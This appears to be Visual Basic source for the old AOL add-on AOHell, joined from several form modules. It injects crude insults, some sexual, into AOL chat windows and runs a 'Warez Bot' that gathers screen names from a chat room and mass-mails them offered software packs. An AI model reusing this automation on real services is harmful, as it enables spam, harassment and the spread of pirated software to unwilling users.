If RandomChoice = 23 Then Text1.Text = YMS23
If RandomChoice = 24 Then Text1.Text = YMS24
If RandomChoice = 25 Then Text1.Text = YMS25
If RandomChoice = 26 Then Text1.Text = YMS26
If RandomChoice = 27 Then Text1.Text = YMS27
If RandomChoice = 28 Then Text1.Text = YMS28
If RandomChoice = 29 Then Text1.Text = YMS29
If RandomChoice = 30 Then Text1.Text = YMS30
If RandomChoice = 31 Then Text1.Text = YMS31
If RandomChoice = 32 Then Text1.Text = YMS32
End If
If Option1.Value = True Then

    If Text2.Text = "1" Then Text1.Text = YMS1
    If Text2.Text = "2" Then Text1.Text = YMS2
    If Text2.Text = "3" Then Text1.Text = YMS3
    If Text2.Text = "4" Then Text1.Text = YMS4
    If Text2.Text = "5" Then Text1.Text = YMS5
    If Text2.Text = "6" Then Text1.Text = YMS6
    If Text2.Text = "7" Then Text1.Text = YMS7
    If Text2.Text = "8" Then Text1.Text = YMS8
    If Text2.Text = "9" Then Text1.Text = YMS9
    If Text2.Text = "10" Then Text1.Text = YMS10
    If Text2.Text = "11" Then Text1.Text = YMS11
    If Text2.Text = "12" Then Text1.Text = YMS12
    If Text2.Text = "13" Then Text1.Text = YMS13
    If Text2.Text = "14" Then Text1.Text = YMS14
    If Text2.Text = "15" Then Text1.Text = YMS15
    If Text2.Text = "16" Then Text1.Text = YMS16
    If Text2.Text = "17" Then Text1.Text = YMS17
    If Text2.Text = "18" Then Text1.Text = YMS18
    If Text2.Text = "19" Then Text1.Text = YMS19
    If Text2.Text = "20" Then Text1.Text = YMS20
    If Text2.Text = "21" Then Text1.Text = YMS21
    If Text2.Text = "22" Then Text1.Text = YMS22
    If Text2.Text = "23" Then Text1.Text = YMS23
    If Text2.Text = "24" Then Text1.Text = YMS24
    If Text2.Text = "25" Then Text1.Text = YMS25
    If Text2.Text = "26" Then Text1.Text = YMS26
    If Text2.Text = "27" Then Text1.Text = YMS27
    If Text2.Text = "28" Then Text1.Text = YMS28
    If Text2.Text = "29" Then Text1.Text = YMS29
    If Text2.Text = "30" Then Text1.Text = YMS30
    If Text2.Text = "31" Then Text1.Text = YMS31
    If Text2.Text = "32" Then Text1.Text = YMS32
    End If

  '  AsInt = Text2.Text
  '  If AsInt < 1 Or AsInt > 32 Then
  '  MsgBox "Must choose a number between 1 and 32 for yo momma snaps!"
  '  Exit Sub
  '  End If

    thiswin% = FindWindow(0, "America  Online")
    EditHand = FindChildByClass(thiswin%, "_AOL_Edit")
    SendHand4 = FindChildByTitle(thiswin%, "Send")
    VBMsg1.SubClasshWnd = SendHand4
    lint = 95
    lpstring = Text1.Text
 SendThat = SendMessageByString(EditHand, WM_SETTEXT, lint, lpstring) ',lint
   DoEvents
   VBMsg1.SendMessage = WM_LBUTTONDOWN
   VBMsg1.SendMessage = WM_LBUTTONUP
   DoEvents

End Sub

Sub Command3D2_Click ()
Unload Me

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(insults.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Option1_Click ()
  Text1.Text = ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"
Text1.Text = ", Yo momma's so poor, when she went to McDonalds she had to put your Happy Meal on lay-away!"
Text1.Text = ", Yo momma's so fat she had to be babtised at Sea World!"
Text1.Text = ", Yo momma's so stupid, it takes her an hour to cook minute rice!"
Text1.Text = ", Yo momma's so fat, she uses a VCR for a pager!"
Text1.Text = ", Yo momma's so fat, she's protected by Green Peace!"
Text1.Text = ", Yo momma's so ungly, when she walks into Taco Bell everyone runs for the border!"
Text1.Text = ", Yo momma's so fat, I saw the back of her neck and though I was in a library!"
Text1.Text = ", Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
Text1.Text = ", Yo mommas so stupid, she tripped over her cordless phone!"
  Text1.Text = ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"

End Sub

Sub Option10_Click ()
Text1.Text = ", Yo momma's so poor, when she went to McDonalds she had to put your Happy Meal on lay-away!"
Text1.Text = ", Yo momma's so fat she had to be babtised at Sea World!"
Text1.Text = ", Yo momma's so stupid, it takes her an hour to cook minute rice!"
Text1.Text = ", Yo momma's so fat, she uses a VCR for a pager!"
Text1.Text = ", Yo momma's so fat, she's protected by Green Peace!"
Text1.Text = ", Yo momma's so ungly, when she walks into Taco Bell everyone runs for the border!"
Text1.Text = ", Yo momma's so fat, I saw the back of her neck and though I was in a library!"
Text1.Text = ", Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
Text1.Text = ", Yo mommas so stupid, she tripped over her cordless phone!"
  Text1.Text = ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"

End Sub

Sub Option2_Click ()
Text1.Text = ", Yo mommas so stupid, she tripped over her cordless phone!"
  Text1.Text = ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"

End Sub

Sub Option3_Click ()
Text1.Text = ", Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
Text1.Text = ", Yo mommas so stupid, she tripped over her cordless phone!"
  Text1.Text = ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"

End Sub

Sub Option4_Click ()
Text1.Text = ", Yo momma's so fat, I saw the back of her neck and though I was in a library!"
Text1.Text = ", Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
Text1.Text = ", Yo mommas so stupid, she tripped over her cordless phone!"
  Text1.Text = ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"

End Sub

Sub Option5_Click ()
Text1.Text = ", Yo momma's so ungly, when she walks into Taco Bell everyone runs for the border!"
Text1.Text = ", Yo momma's so fat, I saw the back of her neck and though I was in a library!"
Text1.Text = ", Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
Text1.Text = ", Yo mommas so stupid, she tripped over her cordless phone!"
  Text1.Text = ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"

End Sub

Sub Option6_Click ()
Text1.Text = ", Yo momma's so fat, she's protected by Green Peace!"
Text1.Text = ", Yo momma's so ungly, when she walks into Taco Bell everyone runs for the border!"
Text1.Text = ", Yo momma's so fat, I saw the back of her neck and though I was in a library!"
Text1.Text = ", Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
Text1.Text = ", Yo mommas so stupid, she tripped over her cordless phone!"
  Text1.Text = ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"

End Sub

Sub Option7_Click ()
Text1.Text = ", Yo momma's so fat, she uses a VCR for a pager!"
Text1.Text = ", Yo momma's so fat, she's protected by Green Peace!"
Text1.Text = ", Yo momma's so ungly, when she walks into Taco Bell everyone runs for the border!"
Text1.Text = ", Yo momma's so fat, I saw the back of her neck and though I was in a library!"
Text1.Text = ", Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
Text1.Text = ", Yo mommas so stupid, she tripped over her cordless phone!"
  Text1.Text = ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"

End Sub

Sub Option8_Click ()
Text1.Text = ", Yo momma's so stupid, it takes her an hour to cook minute rice!"
Text1.Text = ", Yo momma's so fat, she uses a VCR for a pager!"
Text1.Text = ", Yo momma's so fat, she's protected by Green Peace!"
Text1.Text = ", Yo momma's so ungly, when she walks into Taco Bell everyone runs for the border!"
Text1.Text = ", Yo momma's so fat, I saw the back of her neck and though I was in a library!"
Text1.Text = ", Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
Text1.Text = ", Yo mommas so stupid, she tripped over her cordless phone!"
  Text1.Text = ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"

End Sub

Sub Option9_Click ()
Text1.Text = ", Yo momma's so fat she had to be babtised at Sea World!"
Text1.Text = ", Yo momma's so stupid, it takes her an hour to cook minute rice!"
Text1.Text = ", Yo momma's so fat, she uses a VCR for a pager!"
Text1.Text = ", Yo momma's so fat, she's protected by Green Peace!"
Text1.Text = ", Yo momma's so ungly, when she walks into Taco Bell everyone runs for the border!"
Text1.Text = ", Yo momma's so fat, I saw the back of her neck and though I was in a library!"
Text1.Text = ", Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
Text1.Text = ", Yo mommas so stupid, she tripped over her cordless phone!"
  Text1.Text = ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"

End Sub

Sub Text2_Change ()
YMS1 = "Yo momma's so poor, she goes to KFC and licks other people's fingers!"
YMS2 = "Yo momma's so stupid, it takes her an hour to cook minute rice!"
YMS3 = "Yo momma's so fat, she uses a VCR for a pager!"
YMS4 = "Yo momma's so fat, she's protected by Green Peace!"
YMS5 = "Yo momma's so ugly, when she walks into Taco Bell everyone runs for the border!"
YMS6 = "Yo momma's so fat, I saw the back of her neck and thought I was in a library!"
YMS7 = "Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
YMS8 = "Yo momma's so stupid, she tripped over her cordless phone!"
YMS9 = "Yo momma's so short, she gotta cuff her panties!"
YMS10 = "Yo momma's so fat she on both sides of the family!"
YMS11 = "Yo momma's so ugly she had to go trick or treatin' over the phone!"
YMS12 = "Yo momma stink so bad she used Secret and it told!"
YMS13 = "Yo momma's so nasty I had phone sex with her and she gave me an ear infection"
YMS14 = "Yo momma's so fat she got to take her pants off to get her change!"
YMS15 = "Yo momma's is like a door knob, everyone gets a turn!"
YMS16 = "Yo momma stink so bad she used Sure and it got confused!"
YMS17 = "Yo momma's teeth so yellow when she simles you got to slow down!"
YMS18 = "Yo momma's so fat she got more chins than a Chinese telephone book!"
YMS19 = "Yo momma's so fat her blood type is Ragu!"
YMS20 = "Yo momma's so hairy, big foot took a picture of her!"
YMS21 = "Yo momma's so tall she did a cartwheel and kicked god in the chin!"
YMS22 = "Yo momma's so stupid she thought denial was a river in Egypt!"
YMS23 = "Yo momma's so stupid she got stabbed in a gun fight!"
YMS24 = "Yo momma's so old her Social Security Number is 1"
YMS25 = "Yo momma's so stupid she went to the movies with 16 other PPL because she thought under 17 not admitted!"
YMS26 = "Yo momma stink so bad she made Right Guard turn left!"
YMS27 = "Yo momma's like a video game, 3 Men for a quarter!"
YMS28 = "Yo momma's so fat she jumped for joy and got stuck!"
YMS29 = "Yo momma gums so black she spits out YooHoo!"
YMS30 = "Yo momma's teeth so yellow ""I can't believe it's not butter!"""
YMS31 = "Yo momma's so ugly she went into a haunted house and came out with a job application!"
YMS32 = "oh yeah, tell your mamma I said thanks!"

    If Text2.Text = "1" Then Text1.Text = YMS1
    If Text2.Text = "2" Then Text1.Text = YMS2
    If Text2.Text = "3" Then Text1.Text = YMS3
    If Text2.Text = "4" Then Text1.Text = YMS4
    If Text2.Text = "5" Then Text1.Text = YMS5
    If Text2.Text = "6" Then Text1.Text = YMS6
    If Text2.Text = "7" Then Text1.Text = YMS7
    If Text2.Text = "8" Then Text1.Text = YMS8
    If Text2.Text = "9" Then Text1.Text = YMS9
    If Text2.Text = "10" Then Text1.Text = YMS10
    If Text2.Text = "11" Then Text1.Text = YMS11
    If Text2.Text = "12" Then Text1.Text = YMS12
    If Text2.Text = "13" Then Text1.Text = YMS13
    If Text2.Text = "14" Then Text1.Text = YMS14
    If Text2.Text = "15" Then Text1.Text = YMS15
    If Text2.Text = "16" Then Text1.Text = YMS16
    If Text2.Text = "17" Then Text1.Text = YMS17
    If Text2.Text = "18" Then Text1.Text = YMS18
    If Text2.Text = "19" Then Text1.Text = YMS19
    If Text2.Text = "20" Then Text1.Text = YMS20
    If Text2.Text = "21" Then Text1.Text = YMS21
    If Text2.Text = "22" Then Text1.Text = YMS22
    If Text2.Text = "23" Then Text1.Text = YMS23
    If Text2.Text = "24" Then Text1.Text = YMS24
    If Text2.Text = "25" Then Text1.Text = YMS25
    If Text2.Text = "26" Then Text1.Text = YMS26
    If Text2.Text = "27" Then Text1.Text = YMS27
    If Text2.Text = "28" Then Text1.Text = YMS28
    If Text2.Text = "29" Then Text1.Text = YMS29
    If Text2.Text = "30" Then Text1.Text = YMS30
    If Text2.Text = "31" Then Text1.Text = YMS31
    If Text2.Text = "32" Then Text1.Text = YMS32

End Sub

Sub BTN_OK_Click ()
    Unload AboutBox
End Sub

Sub BTN_OK_KeyPress (KeyAscii As Integer)
    ' Entering any key has the same effect as clicking
    ' on the OK button.
    BTN_OK_Click
End Sub

Sub Command3D1_Click ()
Call BTN_OK_Click

End Sub

Sub Form_Load ()
Dim WinFlags As Long
Dim Mode As String, Processor As String

    ' Center form on screen.
    Move (Screen.Width - Width) \ 2, (Screen.Height - Height) \ 2

    ' Get system info.
    WinFlags = GetWinFlags()
    If WinFlags And WF_ENHANCED Then Mode = "386 Enhanced Mode" Else Mode = "Standard Mode    "
    Label1 = " " + Mode
    Label2 = " Free Memory:"
    Label3 = " System Resources"
    Label4 = Format$(GetFreeSpace(0) \ 1024) + " KB Free"
    X% = GetFreeSystemResources(GFSR_SYSTEMRESOURCES)
          Label5 = Str$(X%) + "%" + " Free"

    ' Get windows version.
    i% = GetVersion()

    ' Lowbyte is derived by masking off high byte.
    lowbyte$ = Str$(i% And &HFF)

    ' Highbyte is derived by masking off low byte and shifting.
    highbyte$ = LTrim$(Str$((i% And &HFF00) / 256))

    ' Assign Windows version to label caption.
    Label10 = lowbyte$ + "." + highbyte$
End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(Attention.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

  Sub Command3D1_Click ()
    GoTo begin4

titfuck4:
    Exit Sub

begin4:
    On Error GoTo titfuck4

    List1.RemoveItem List1.ListIndex

  End Sub

  Sub Command3D2_Click ()
    Response = MsgBox("Are you sure you want cancel the Mass Mail?", 292, "Cancel Mass Mail")
  'Possible Response values: 6--YES, 7--NO.
    If Response = 6 Then
      main.Timer1.Enabled = True
      main.Timer2.Enabled = True

      Unload WarezBot
      Unload Me
    End If

    If Response = 7 Then Exit Sub

  End Sub

  Sub Command3D3_Click ()
    Word2 = InputBox$("Enter screen name", "Add Name to List")
    List1.AddItem Word2

  End Sub

  Sub Command3D4_Click ()
    GoTo NewT

NErr:
    MsgBox "You must enter a number!  Keeping old Time Limit..."
    Exit Sub

NewT:
    On Error GoTo NErr

    NewTime = InputBox$("Enter the new Time Limit (in minutes).", "Adjust Time Limit")

    If NewTime = "" Then Exit Sub

    TimeLimit = NewTime
  Label3.Caption = TimeLimit

  End Sub

  Sub Command3D5_Click ()
    If DoMM = 2 Then

      Numppl = List1.ListCount

      List1.ListIndex = 0

      For x = 1 To Numppl

      'List1.ListIndex = List1.ListIndex + 1

        jacko1 = List1.List(List1.ListIndex)
        MMList = MMList + jacko1 + ", "
        On Error GoTo fab1
        GoTo lars1

fab1:
        Resume fa1

lars1:

        List1.ListIndex = List1.ListIndex + 1
fa1:

        MMCt = Len(MMList)
        MMCt1 = MMCt - 2

      Next x

      MMList = Mid$(MMList, 1, MMCt1)
      Clipboard.SetText MMList

      MsgBox "The people on your Mass Mail list has been copied to the clipboard.  To mass mail these people, just paste (CTRL+V) into the ""To:"" box on your mass mailer."
      Unload Me
    End If

    If DoMM = 1 Then

      Numppl = List1.ListCount

      GoTo ber1

berr1:
      main.Timer1.Enabled = True
      main.Timer2.Enabled = True
      main.Timer3.Enabled = True

      Exit Sub

ber1:
      On Error GoTo berr1

      List1.ListIndex = 0

      For x = 1 To Numppl

      'List1.ListIndex = List1.ListIndex + 1

        jacko1 = List1.List(List1.ListIndex)
        MMList = MMList + jacko1 + ", "
        On Error GoTo fab3
        GoTo lars3

fab3:
        Resume fa3

lars3:

        List1.ListIndex = List1.ListIndex + 1
fa3:

        MMCt = Len(MMList)
        MMCt1 = MMCt - 2

      Next x

      MMList = Mid$(MMList, 1, MMCt1)

      WNote.Show
      ListStatus.Hide
      DoEvents
      Call Pause(10)
      DoEvents
      Unload WNote
      DoEvents
      MM2.Show
      MM2.Text3.Text = NWarez
      MM2.Text1.Text = MMList
      If MMComment = "" Then
      MM2.Text2.Text = "-==AOHell==- Free Mass Mail courtesy of " + ScreenName
      Else MM2.Text2.Text = MMComment
      End If

      DoEvents
      Call Pause(1)
      SendKeys "%S "

      Unload Me
    End If

  End Sub

  Sub Form_Load ()
    If AIStatus = 1 Then
      MsgBox "The AI Bot is still active.  You cannot use the Warez Bot with the AI Bot still running.  Please bring up the AI Bot window and choose ""Unload AI Bot"", then try again.", 16, "AI Bot Still Active"
      Unload Me
      Exit Sub
    End If
    If AIStatus = 11 Then
      MsgBox "The Multi-Task Chat Room is still active.  You cannot use the Warez Bot with the Multi-Task Chat Room still running.  Please close the MT Chat Room and try again.", 16, "MT Chat Room Still Active"
      Unload Me
      Exit Sub
    End If

    GoTo listbeg

errlist:
    MsgBox "An error has occured while trying to start the bot.  Please close that Chat Room window, then re-enter the room you are in.  You may then try again.    NOTE: If you have the AI Bot or Multi-Task Chat Room running, it will cause this error.", 48, "Can't Get Window Lock"
    Unload Me
    Exit Sub

listbeg:
    On Error GoTo errlist

    AIStatus = 12

    main.Timer1.Enabled = False
    main.Timer2.Enabled = False

    Dim Success As Integer

    Success% = SetWindowPos%(ListStatus.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
    GoTo AIBeg

AIErr:
    MsgBox "An error has occured while trying to start the bot.  Please close that Chat Room window, then re-enter the room you are in.  You may then try again.", 48, "Can't Get Window Lock"
    Unload Me
    Exit Sub

AIBeg:
    On Error GoTo AIErr

    Label3.Caption = TimeLimit

  'MsgBox "AOHell needs to get a lock on the chat room window now.  Please click the chat room with the mouse, so it is the top AOL window.  Then hit the OK button to this message.", 64, "Chat Window Lock"
    bac = Chr$(13)
    jojo4 = "List" + bac + "Rooms"
    thiswin% = FindWindow(0, "America  Online")
    RoomIcon = FindChildByTitle(thiswin%, jojo4)
    DaRoom = GetParent(RoomIcon)
    If DaRoom = 0 Then
      MsgBox "You must be in a room before you can use this!", 16, "Not In a Room"
      Unload Me
      Exit Sub
    End If

  'thiswin% = FindWindow(0, "America  Online")

    find% = FindChildByClass(DaRoom, "_AOL_View")
    find1% = FindChildByClass(DaRoom, "_AOL_Edit")
    find2% = FindChildByTitle(DaRoom, "Send")

    AOLViewHandle = find%
    AOLSendHandle = find2%
    AOLEditHandle = find1%

    VBMsg2.SubClasshWnd = find1%
    VBMsg1.SubClasshWnd = find2%
    VBMsg4.SubClasshWnd = find%

  End Sub

  Sub Form_Unload (Cancel As Integer)
    main.Timer1.Enabled = True
    main.Timer2.Enabled = True
    VBMsg1.SubClasshWnd = 0
    VBMsg2.SubClasshWnd = 0
    VBMsg3.SubClasshWnd = 0
    If AIStatus = 12 Then AIStatus = 0

  End Sub

  Sub Timer2_Timer ()
   If DidGo1 = 1 Then GoTo Beg1

Err1:
    Exit Sub

Beg1:
    On Error GoTo Err1
   DidGo1 = 0

    thiswin% = FindWindow(0, "America  Online")

    Destroy1 = FindChildByClass(thiswin%, "_AOL_Listbox")
   DoEvents

    If Destroy1 = 0 Then
      MsgBox "AOHell has detected that the AOL chat window has been closed.  ..Stopping MM List", 64, "Room Closed"
      Destroyed = 0
      Unload ListStatus
      Exit Sub
    End If
    chat6 = ChatLine

    colon = ":"

    l% = InStr(1, chat6, colon)
    If l% > 0 Then

      l% = l% - 1
    Else l% = 1
    End If

    SN = Mid$(chat6, 1, l%)
  ' text2.Text = SN
    ChatName = SN
    ChatNameSp = SN

      DoEvents

    ChatLine = UCase$(ChatLine)
    TriggerWord = UCase$(TriggerWord)
    DidTrigger = InStr(1, ChatLine, TriggerWord)
    DidOwn = InStr(1, ChatNameSp, ScreenName)
    DidHostSay = InStr(1, ChatNameSp, "OnlineHost")
    DoEvents
    If DidOwn > 0 Or DidHostSay > 0 Then Exit Sub
    If ChatNameSp = LastPr Then Exit Sub

    If DidTrigger > 0 And DidTrigger < 104 Then
      List1.AddItem ChatNameSp
      LastPr = ChatNameSp
    End If
    DoEvents

  End Sub

  Sub Timer3_Timer ()

    TimeLimit = TimeLimit - 1

    Label3.Caption = TimeLimit

    If TimeLimit = 0 Then

      If DoMM = 2 Then

        Numppl = List1.ListCount
     DoEvents
     List1.ListIndex = 0

        For x = 1 To Numppl

        'List1.ListIndex = List1.ListIndex + 1

          jacko1 = List1.List(List1.ListIndex)
          MMList = MMList + jacko1 + ", "
          On Error GoTo fab
          GoTo lars

fab:
          Resume fa

lars:

       DoEvents

          List1.ListIndex = List1.ListIndex + 1
fa:

          MMCt = Len(MMList)
          MMCt1 = MMCt - 2

        Next x

        MMList = Mid$(MMList, 1, MMCt1)
        Clipboard.SetText MMList
        DoEvents

        MsgBox "Timer expired.  The people on your Mass Mail list have been copied to the clipboard.  To mass mail these people, just paste (CTRL+V) into the ""To:"" box on your mass mailer."
        Unload Me

      End If

      If DoMM = 1 Then

        Numppl = List1.ListCount

        GoTo ber

berr:
        Exit Sub

ber:
        On Error GoTo berr

        List1.ListIndex = 0

        For x = 1 To Numppl

        'List1.ListIndex = List1.ListIndex + 1

          jacko1 = List1.List(List1.ListIndex)
          MMList = MMList + jacko1 + ", "
          On Error GoTo fab2
          GoTo lars2

fab2:
          Resume fa2

lars2:

          List1.ListIndex = List1.ListIndex + 1
fa2:

          MMCt = Len(MMList)
          MMCt1 = MMCt - 2

        Next x

        MMList = Mid$(MMList, 1, MMCt1)
         DoEvents

        WNote.Show
        ListStatus.Hide
        DoEvents
        Call Pause(10)
        DoEvents
        Unload WNote
        DoEvents
        MM2.Show
        MM2.Text3.Text = NWarez
        MM2.Text1.Text = MMList
        MM2.Text2.Text = "-==AOHell==- Free Mass Mail courtesy of " + ScreenName
        DoEvents
        Call Pause(1)
        SendKeys "%S "

        Unload Me
      End If

    End If

  End Sub

  Sub Timer4_Timer ()
    DoEvents
    If NotifyRoom = 1 Then GoTo LStart
    If NotifyRoom = 2 Then
      NotifyRoom = NotifyRoom - 1
      Exit Sub
    End If
    If NotifyRoom = 3 Then
      NotifyRoom = NotifyRoom - 1
      Exit Sub
    End If
    If NotifyRoom = 4 Then
      NotifyRoom = NotifyRoom - 1
      Exit Sub
    End If
    If NotifyRoom = 5 Then
      NotifyRoom = NotifyRoom - 1
      Exit Sub
    End If
    DoEvents

LStart:

    lint = 1000
    If Label3.Caption = "1" Then Min1 = " minute." Else Min1 = " minutes."

    lpstring = "-==AOHell==- Mass Mail going out in " + Label3.Caption + Min1 + "  Type " + TriggerWordSp + " to get on MM list."
    x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(.3)
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP
    NotifyRoom = NotifyRoom2
    DoEvents

  End Sub

  Sub VBMsg4_WindowMessage (hWindow As Integer, Msg As Integer, wParam As Integer, lParam As Long, RetVal As Long, CallDefProc As Integer)
    ChatLine = ptGetStringFromAddress(lParam, 106)
    ChatLine = Trim$(ChatLine)
    ChatLine = Mid$(ChatLine, 3)
    DidGo1 = 1

  End Sub

  Sub Command3D1_Click ()
    thiswin% = FindWindow(0, "America  Online")

    If Pk1 = 1 And pk2 = 0 And pk3 = 0 And pk4 = 0 And pk5 = 0 Then
      Num = List1.ListCount
      If Num = 0 Then
        PTime = PTime1
        Label3.Caption = PTime
        Exit Sub
      End If
    End If
    Num1 = List1.ListCount
    Num2 = List2.ListCount
    Num3 = List3.ListCount
    Num4 = List4.ListCount
    Num5 = List5.ListCount
    If Num1 = 0 And Num2 = 0 And Num3 = 0 And Num4 = 0 And Num5 = 0 Then
      PTime = PTime1
      Label3.Caption = PTime
      Exit Sub
    End If

    Unload SmallPack

    PTime = 50
    PackNotify = 50
    main.Timer1.Enabled = False
    main.Timer2.Enabled = False
    main.Timer3.Enabled = False
    Timer1.Enabled = False
    Timer2.Enabled = False

    PackStatus.Hide
    WNote.Show
    WNote.Label1.Caption = "Preparing to send out Requested packs.  Stop anything you are doing now, while AOHell starts sending out requested packs.  ..Starting in 10 seconds."
    Packing1 = 1
    DoEvents
    Call Pause(12)
    Unload WNote
    If Packing1 = 2 Then
      Packing1 = 0
      Exit Sub
    End If

    AppActivate "America  Online"
    DoEvents
    SendKeys Chr$(20)
    DoEvents
    Call Pause(2)
    PeopleList = FindChildByClass(thiswin%, "_AOL_Tree")
    Next1 = 0
    Next2 = 0
    next3 = 0
    next4 = 0
    next5 = 0

    DaNum = P1F

    Numppl = List1.ListCount

    If Numppl = 0 Then
      Next1 = 1
      GoTo nex1
    End If

    List1.ListIndex = 0

    For b = 1 To Numppl

    'List1.ListIndex = List1.ListIndex + 1

      jacko1 = List1.List(List1.ListIndex)
      MMList1 = MMList1 + jacko1 + ", "
      On Error GoTo fab1
      GoTo lars1

fab1:
      Resume fa1

lars1:

      List1.ListIndex = List1.ListIndex + 1
fa1:

      MMCt = Len(MMList1)
      MMCt1 = MMCt - 2

    Next b

    SendTo = Mid$(MMList1, 1, MMCt1)

    Call MassMail(SendTo, DaNum)

nex1:

    If pk2 = 1 Then

      DaNum = P2F

      Numppl = List2.ListCount
      If Numppl = 0 Then
        Next2 = 1
        GoTo nex2
      End If

      List2.ListIndex = 0

      For c = 1 To Numppl

      'List1.ListIndex = List1.ListIndex + 1

        jacko2 = List2.List(List2.ListIndex)
        MMList2 = MMList2 + jacko2 + ", "
        On Error GoTo fab2
        GoTo lars2

fab2:
        Resume fa2

lars2:

        List2.ListIndex = List2.ListIndex + 1
fa2:

        MMCt = Len(MMList2)
        MMCt1 = MMCt - 2

      Next c

      SendTo = Mid$(MMList2, 1, MMCt1)

      Cur = P1F

      SetCur = SendMessage(PeopleList, LB_SETCURSEL, Cur, 0)

      Call MassMail(SendTo, DaNum)
    End If

nex2:

    If pk3 = 1 Then

      DaNum = P3F

      Numppl = List3.ListCount
      If Numppl = 0 Then
        next3 = 1
        GoTo nex3
      End If

      List3.ListIndex = 0

      For d = 1 To Numppl

      'List1.ListIndex = List1.ListIndex + 1

        jacko3 = List3.List(List3.ListIndex)
        MMList3 = MMList3 + jacko3 + ", "
        On Error GoTo fab3
        GoTo lars3

fab3:
        Resume fa3

lars3:

        List3.ListIndex = List3.ListIndex + 1
fa3:

        MMCt = Len(MMList3)
        MMCt1 = MMCt - 2

      Next d

      SendTo = Mid$(MMList3, 1, MMCt1)

      Cur = P1F + P2F

      SetCur = SendMessage(PeopleList, LB_SETCURSEL, Cur, 0)

      Call MassMail(SendTo, DaNum)
    End If

nex3:

    If pk4 = 1 Then

      DaNum = P4F

      Numppl = List4.ListCount
      If Numppl = 0 Then
        next4 = 1
        GoTo nex4
      End If

      List4.ListIndex = 0

      For e = 1 To Numppl

      'List1.ListIndex = List1.ListIndex + 1

        jacko4 = List4.List(List4.ListIndex)
        MMList4 = MMList4 + jacko4 + ", "
        On Error GoTo fab4
        GoTo lars4

fab4:
        Resume fa4

lars4:

        List4.ListIndex = List4.ListIndex + 1
fa4:

        MMCt = Len(MMList4)
        MMCt1 = MMCt - 2

      Next e

      SendTo = Mid$(MMList4, 1, MMCt1)

      Cur = P1F + P2F + P3F

      SetCur = SendMessage(PeopleList, LB_SETCURSEL, Cur, 0)

      Call MassMail(SendTo, DaNum)
    End If

nex4:

    If pk5 = 1 Then

      DaNum = P5F

      Numppl = List5.ListCount
      If Numppl = 0 Then
        next5 = 1
        GoTo nex5
      End If

      List5.ListIndex = 0

      For f = 1 To Numppl

      'List1.ListIndex = List1.ListIndex + 1

        jacko5 = List5.List(List5.ListIndex)
        MMList5 = MMList5 + jacko5 + ", "
        On Error GoTo fab5
        GoTo lars5

fab5:
        Resume fa5

lars5:

        List5.ListIndex = List5.ListIndex + 1
fa5:

        MMCt = Len(MMList5)
        MMCt1 = MMCt - 2

      Next f

      SendTo = Mid$(MMList5, 1, MMCt1)

      Cur = P1F + P2F + P3F + P4F

      SetCur = SendMessage(PeopleList, LB_SETCURSEL, Cur, 0)

      Call MassMail(SendTo, DaNum)
    End If

nex5:

    thiswin% = FindWindow(0, "America  Online")
    MailHand1 = FindChildByTitle(thiswin%, "Download Manager")
    VBMsg4.SubClasshWnd = MailHand1
    VBMsg4.SendMessage = WM_CLOSE

    PTime = PTime1
    PackNotify = PackNotify1
    Label3.Caption = PTime
    SmallPack.Caption = "Pack Status -" + Str(PTime)
    PackStatus.Show
    List1.Clear
    List2.Clear
    List3.Clear
    List4.Clear
    List5.Clear
    ListS1 = ""
    ListS2 = ""
    ListS3 = ""
    ListS4 = ""
    ListS5 = ""
    Timer1.Enabled = True
    Timer2.Enabled = True
    Timer3.Enabled = True

  End Sub

  Sub Command3D2_Click ()
    Response = MsgBox("Are you sure you want stop offering Packs?", 292, "Cancel Pack Offers")
  'Possible Response values: 6--YES, 7--NO.
    If Response = 6 Then

      Timer1.Enabled = False
      Timer2.Enabled = False
      Timer3.Enabled = False
      Timer4.Enabled = False
      main.Timer1.Enabled = True
      main.Timer2.Enabled = True

    ' Unload WarezBot

      Unload Me
    End If

    If Response = 7 Then Exit Sub

  '  Unload Me

  End Sub

  Sub Command3D3_Click ()

    lint = 1000 '74
    lpstring = "-==AOHell==-      Offered Packs      -==AOHell==-   Leech Limit:" + Str(LeechLimit)

    x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(.3)
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP
    DoEvents
    Call Pause(.4)

    If PTime = 1 Then IsMin = " minute." Else IsMin = " minutes."   '91
    lpstring = "Type:  " + ScreenName + " XDCC SEND #N  to request pack.  Where N is the pack number."'  Requests sent in: " + PTime + IsMin

    x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(.3)
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP
    DoEvents
    Call Pause(1.5)
